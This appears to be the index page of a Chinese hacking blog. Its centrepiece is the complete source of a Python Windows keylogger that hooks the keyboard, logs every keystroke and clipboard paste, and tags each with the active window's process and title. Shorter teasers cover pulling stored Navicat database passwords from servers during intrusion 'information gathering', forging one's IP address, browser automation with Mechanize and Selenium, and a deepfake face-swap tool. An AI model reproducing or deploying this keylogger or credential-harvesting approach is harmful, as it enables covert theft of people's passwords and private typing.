0%

信息收集之Navicat密码
Navicat 支持很多数据库有MySQL,MariaDB,Oracle,SQLite,PostgreSQL和Microsoft SQL Server。
管理员一般都会把密码记住,在碰到服务器的时候可以查出明文的密码好固然是一件好事.
方法如下:
QQ群:397745473

阅读全文 »

python 键盘记录器代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# -*- coding: utf-8 -*-  
from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

#
def get_current_process():

# 获取最上层的窗口句柄
hwnd = user32.GetForegroundWindow()

# 获取进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))

# 将进程ID存入变量中
process_id = "%d" % pid.value

# 申请内存
executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

# 读取窗口标题
windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

# 打印
print
print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
print

# 关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

# 定义击键监听事件函数
def KeyStroke(event):

global current_window

# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.WindowName != current_window:
current_window = event.WindowName
# 函数调用
get_current_process()

# 检测击键是否常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii <127:
print chr(event.Ascii),
else:
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE]-%s" % (pasted_value),
else:
print "[%s]" % event.Key,
# 循环监听下一个击键事件
return True

# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

参考:
python 键盘记录器
http://blog.csdn.net/qq_16234613/article/details/79151528

Mechanize 不支持JavaScript
Selenium 是一套完整的Web应用程序测试系统
我们可以选用一款支持JavaScript的模块-Selenium.

简介:
Mechanize 是一个 Python 模块,用于模拟浏览器。由于考虑到爬虫所需要的是数据,所以该模块完全可以绕过验证码,直接使用 Cookie 登录就可以了。但是 Mechanize 模块使用 Cookie 登录,Cookie 的生存期较短,而且该模块也不支持 JavaScript。总体来说,该模块在面对验证码问题,算是个非常好的办法,应推荐使用。

官网:http://wwwsearch.sourceforge.net/mechanize/
Mechanize&Selenium
参考:http://blog.csdn.net/u011974639/article/details/73148949

阅读全文 »

对于浏览器来讲小伙伴们肯定再熟悉不过了,浏览器是咱们居家旅行、访问网站之必用装备。有童鞋说了,杜克你聊得别的呗,浏览器谁不会用啊,还用你教呢?既然这样,那我就来给大家来点你所不懂的 – 伪造自己的IP地址!

QQ群:397745473

阅读全文 »

QQ群:397745473
很多人在朋友圈中发照片,都喜欢把自己PS得漂亮或帅气一点,所以美颜相机大行其道。如果是旧的纸质照片,除了一些会PS技术的人,普通人很难把原照片PS得更好一点。如果是视频里的你,就算是PS大神也很难给你换一张脸。你有想过吗?如果把明星演的电影,好比把里边的主角范冰冰的脸换成你的,是一张你的会动会有表情的脸,那你会如何想呢?

最近一有个python的人工智能项目很火,就是给视频人物换脸。代码地址在:

https://github.com/joshua-wu/deepfakes_faceswap/。

阅读全文 »

Selenium 是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7, 8, 9, 10, 11),Mozilla Firefox,Safari,Google Chrome,Opera等。
这个工具的主要功能包括:测试与浏览器的兼容性——测试你的应用程序看是否能够很好得工作在不同浏览器和操作系统之上。
测试系统功能——创建回归测试检验软件功能和用户需求。支持自动录制动作和自动生成 .Net、Java、Perl等不同语言的测试脚本。

selenium 环境配置 Firefox和Chrome

阅读全文 »